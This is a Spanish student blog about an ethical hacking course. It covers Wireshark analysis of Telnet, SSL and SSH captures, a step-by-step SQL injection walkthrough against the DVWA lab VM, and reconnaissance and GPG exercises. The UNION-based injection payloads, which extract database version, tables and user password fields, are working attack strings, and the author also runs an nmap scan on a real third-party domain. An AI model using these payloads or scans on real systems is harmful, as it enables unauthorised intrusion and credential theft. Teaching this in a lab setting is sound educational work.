Reprouctor

sábado, 3 de octubre de 2015

UNIDAD 2 "Hacking Ético MU"

En esta segunda unidad de este curso, veremos herramientas mas avanzadas que usan los hackers...

La primer herramienta a utilizar es wireshark, esta herramienta sirve para analizar protocolos para así solucionar problemas en redes de comunicaciones. Pero en este caso la utilizare para un diferente uso.

Tarea #1 "Protocolos"

Primera parte: "Analizando un protocolo inseguro -Telnet"

En esta primer tarea no realizaremos capturas de trafico en vivo, sino que utilizaremos una captura ya guardada que es telnet-raw.pcap. Primero lo descargaremos y lo abriremos con wireshark, veremos que es una captura de trafico de telnet entre cliente y servidor.


Ahora analizaremos los protocolos para saber:

1.- ¿Que usuario y contraseña se ha utilizado para acceder al servidor de Telnet?
2.- ¿Que sistema operativo corre en la máquina?
3.- ¿Que comandos se ejecutan en esta sesión?






































En la imagen se puede observar que hemos obtenido lo anterior
User: fake
Password: user
Sistema operativo: OpenBSD
Comandos ejecutados en la sesión:

$ ls
.
$ ls  -a
.
.         ..        .cshrc    .login    .mailrc   .profile  .rhosts
$ //sbin//ping  www.yahoo.com

PING www.yahoo.com (204.71.200.74): 56 data bytes

^C
$exit

En esta captura de trafico de Telnet podemos ver que no es segura y así cualquier terciario puede ver la información privada como contraseñas, sistemas operativos etc.

Segunda parte: "Analizando SSL"

En esta segunda parte analizaremos un protocolo seguro que es SSL al igual que el anterior este no sera en vivo. Primero descargaremos la captura guardada ssl.pcap despues la abriremos con wireshark.

























 Ahora analizaremos para responder a las siguientes preguntas.

1.- ¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?
2.- ¿El certificado va en claro o esta cifrado? ¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?
3.- ¿Que asegura el certificado, la identidad del servidor o del cliente?

En la imagen anterior se puede ver que el certificado es enviado por el server en el paquete 2.
En la siguiente imagen se puede ver que el certificado esta cifrado e ilegible, ya que se usan key exchange y mensajes privados, los cuales estan encriptados con Handshake,  y se puede ver que el servidor ha emitido el certificado.






























Ahora veremos quien asegura el certificado.






























Identidad de la certificacion: Secure Server Certification Authority
Organización encargada  del protocolo: RSA Data Security, Inc.
País: Washington, US.

Como pudimos ver, el protocolo SSL es seguro para intercambiar datos personales así como contraseñas y mensajes privados.

Tercera parte: "Analizando SSH"

En la primera parte vimos un protocolo inseguro (Telnet), ahora veremos una alternativa para a la hora de conectarnos a maquinas remotas sea seguro intercambiar datos del usuario con el cliente, usando SSH el trafico de datos viaja cifrado.

En esta tercera parte usaremos la captura ssh.pcap, primero la descargaremos y luego lo abriremos con wireshark.


























1.- ¿Puedes ver a partir de que paquete comienza el tráfico cifrado?
2.- ¿Qué protocolos viajan cifrados, todos (IP, TCP...) o alguno en particular?
3.- ¿Es posible ver alguna información de usuario como contraseñas de acceso?

En la imagen anterior se puede ver que el trafico cifrado  empieza a partir del paquete 20, todos los protocolos estan totalmente cifrados y en la siguiente imagen se puede ver que es imposible ver alguna información de usuario o mensajes privados.






























Para mi, este ultimo protocolo es mas confiable y seguro.

Tarea #2 "SQL Inyection"

SQL Inyection es un metodo de filtracion de código intruso que se vale de una vulnerabilidad informática, presente en una aplicación en el nivel de validación de las entradas, para realizar operaciones sobre una base de datos. El origen de vulnerabilidadradica en el incorrecto chequeo o filtrado de las variables utilizadas en un programa que contiene, o bien genera, codigo SQL. es, de hecho, un error de una clase mas general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro. se conoce como Inyección SQL, indistintamente:

-Al tipo de vulnerabilidad
-Al método de infiltración
-Al hecho de incrustar codigo SQL intruso
-A la porción de cdigo incrustado

Fuente: Mondragon Unibersitea

Una vez explicado lo que es un SQL inyection procederemos a realizar la tarea.

instrucciones:

1.- Descargar VirtualBox
2.- Descargar maquina virtual
3.- Descomprimir maquina virtual e importar la maquina a virtual box  de acuerdo a tu OS
4.- Seleccionamos la maquina llamada dvwa y pulsamos en iniciar (en mi caso ya esta iniciada)













5.- Esperamos a que nos aparezca la direccion IP y la anotas


























6.- Accede a la direccion http://direccionIP/login.php (en mi caso seria http://192.168.56.101) y accedemos con Username: admin Password: password



























7.- Seleccionamos donde dice DVWA Security, elegimos en low y luego en submit

































8.- Seleccionamos en SQL Inyection e introducimos 1 en donde muestra la imagen y daremos click en submit, mostrara la ID, el first name y el surname






























9.- Ahora escribiremos: %' or '0'='0 
En este escenario, se muestra que todos los registros son verdaderos






























10.- Ahora escribiremos: %' or 0=0 union select null, version() #
Mostrara la versión de la base de datos en el apellido del final
















 11.- Ahora escribiremos: %' or 0=0 union select null, user() #
Mostrara el nombre de la base de datos del usuario que ejecuta el codigo detras de las escenas PHP en el apellido final






























Ahora escribiremos: %' or 0=0 union select null, database() #
Mostrara el nombre de la base de datos en el apellido final





























Ahora escribiremos: %' and 1=0 union select null, table_name from information_schema.tables #

Muestra todas las tablas en la base de datos information_schema, es  la base de datos de informacion, el lugar que almacena información acerca de todas las otras bases de datos que el servidor MyQL mantiene
































Ahora escribiremos: %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#

Mostrara todas las tablas que comienzan con el prefijo "usuario" en la base de datos information_schema en el apellido final










Ahora escribiremos: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

Mostrara  las columnas de la tabla de usuarios y habrá una que tenga el password



















Finalmente escribiremos: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

Mostrara el contenido de la tabla de usuario, incluyendo el campo de la contraseña



























martes, 22 de septiembre de 2015

UNIDAD 1 "Hacking Ético MU"

Hola, he tenido la oportunidad de empezar un curso sobre Hacking Ético, el cual aprovechare al máximo!.
En este blog iré redactando lo aprendido en cada unidad finalizada y las tareas que me vayan asignando para así poder lograr llevar un registro de este curso.

Empecemos...

Principalmente este curso esta centrado en enseñarnos las herramientas que utiliza un hacker para identificar las vulnerabilidades de una red y después atacar, pero... ¿Para que querría alguien atacar una red?.

A continuación, algunos objetivos del hacker para atacar son:

-Robo de contraseñas de un sitio online
-Obtención de información privada
-Números de tarjetas de crédito
-Denegación de servicios (usado mas en paginas de servicios de empresas)
-Entre otras...

En la Unidad 1 habla sobre 3 herramientas que son muy usadas antes de realizar un ataque, estas herramientas son:

-PING
-WHOIS
-NMAP

Estas herramientas sirven para proporcionar información sobre la victima y observar las vulnerabilidades que tiene la pagina de Internet.

PING
Esta herramienta se encuentra incluida en el sistema de nuestros ordenadores, para abrirlo presionamos la tecla Inicio + R y escribimos cmd, después aparecerá la terminal en donde podremos llevar a cabo el Ping.
El ping sirve para saber si nuestro ordenador se puede comunicar con el dominio o ip al cual se le hace ping.

WHOIS
Esta herramienta se puede descargar siempre y cuando tu ordenador sea compatible, pero si no lo es también hay una versión online.
Whois sirve para obtener información sobre las personas que manejan el dominio o la dirección ip.

NMAP
En esta herramienta se puede acceder a través de la terminal escribiendo lo siguiente: nmap -sV www.eldominio.org.
Nmap sirve para saber que puertos están abiertos en esa red. Esta información es muy importante para los hackers ya que pueden encontrar vulnerabilidades en alguno de estos puertos y atacar.

Tarea #1 "Herramientas básicas para obtener información de servidores externos"

PING
Haré ping a la pagina de www.google.es para ver si se puede establecer comunicación, ver si recibe paquetes y cuanto tarda en recibirlos.




















Como podemos ver, si se puede comunicar y se enviaron 4 paquetes los cuales su duración fue de mínimo 5 ms, máximo 12 ms y media 9 ms.

WHOIS
Buscare información sobre un dominio el cual sera www.soloautos.mx y encontrare a la persona que figura como contacto técnico y contacto administrativo. En mi caso usare la página online de whois.

















Aquí podemos ver que ya hemos obtenido el contacto técnico y el contacto administrativo de este dominio.

NMAP
Con nmap buscare que puertos están abiertos en el dominio anterior, cual puede ser la razón, que servicios y saber en que sistema operativo se esta corriendo en el servidor.

Podemos observar que hay 9 puertos abiertos, la razón de estos podría ser una aplicación que se ejecute y necesite de un puerto o también podría ser para poder comunicarse con otros ordenadores a través de las IP's, entre otras razones.
También podemos ver que servicios tiene cada puerto (ftp, ssh, smtp, http, pop3, https, submission, mysql, https-alt)

El sistema operativo por el cual se corre el servidor es Linux 3.10.

Un ejemplo de algunas vulnerabilidades de Apache

Tarea #2 "Búsqueda y puesta en común de recursos"

A continuación compartiré 3 espacios web acerca del Hacking Ético que me han llamado la atención y que les recomiendo mucho.

1.- En esta pagina se tratan temas y tutoriales muy interesantes acerca del hacking informático.

2.- Esta pagina la he visitado muchas veces y siempre se me ha hecho muy interesante todo el contenido, también se las recomiendo.

3.- Este es un foro en el cual nunca he participado pero espero hacerlo pronto, ya que es una pagina en la cual todos hablan sobre temas muy interesantes.

Tarea #3 "Criptografía" 

Antes de realizar esta tarea primero explicare brevemente que es y para que se usa la criptografía.

La criptografía es alterar un mensaje o información (privada o corporativa) a través de técnicas de cifrados o códigos con el fin de proteger el mensaje o información, y que esta sea recibida por la(s) persona deseada(s) (estas personas deben saber descifrar la información) y no por terceros que puedan hacer mal uso de nuestra información.
La criptografía en ordenadores se usa mucho hoy en día para cifrar archivos, es decir, no se altera ningún mensaje pero se encripta el archivo con una clave de manera que no puede tener acceso a el y solo se puede descifrar si la persona que obtenga el archivo encriptado se sepa la clave con la cual fue encriptado.
La criptografía se utiliza para enviar mensajes secretos, enviar archivos, contraseñas, información personal, información privada, etc. y estas son enviadas por sitios no seguros como correos, gmail, facebook, etc.
Esto es la criptografía a grandes rasgos.

Una vez explicado lo anterior procederé a realizar la tarea

Instrucciones:
-Generar un archivo de texto
-Cifrar el archivo con la clave publica de un tercero
-Compartir el mensaje cifrado con el propietario de la clave
-Descifrar el mensaje usando su clave privada 

Primero generaré el archivo de texto

Para cifrar el archivo de texto utilizare Gpg4win (click para descargar).
Tutorial por MU de Gpg4win.

Aqui podemos ver que tengo mi clave privada y la clave publica de la persona a la cual le enviare el archivo de texto cifrado.

Cifraré el archivo de texto con la clave publica del destinatario haciendo click derecho sobre el archivo y seleccionando "Firmar y cifrar".

En el primer cuadro aparecen las claves publicas a las cuales les daremos derecho de descifrar el archivo cifrado y en el segundo aparece la clave con la cual se firmara el archivo.

Pedirá la contraseña de tu clave privada

Después aparecerá un archivo con extension .asc que es el archivo cifrado que le enviaremos a la persona con la clave publica que seleccionamos.

Ya le he enviado el archivo encriptado, ahora procederá a descifrarlo ejecutado Kleopatra y en Decrypt/Verify files... y seleccionamos el archivo .asc 

Aquí solo seleccionamos la ruta donde aparecera el archivo descifrado y le damos en Decrypt/verify.

Te pedirá tu contraseña de clave privada y una vez introducida se descifrara

Aparecerán los detalles de la persona que te mando el archivo cifrado


Aparecerá el archivo de texto descifrado y el destinatario podrá ver su contenido.

Espero les sirva y cualquier duda o comentario es bienvenido ¡Gracias!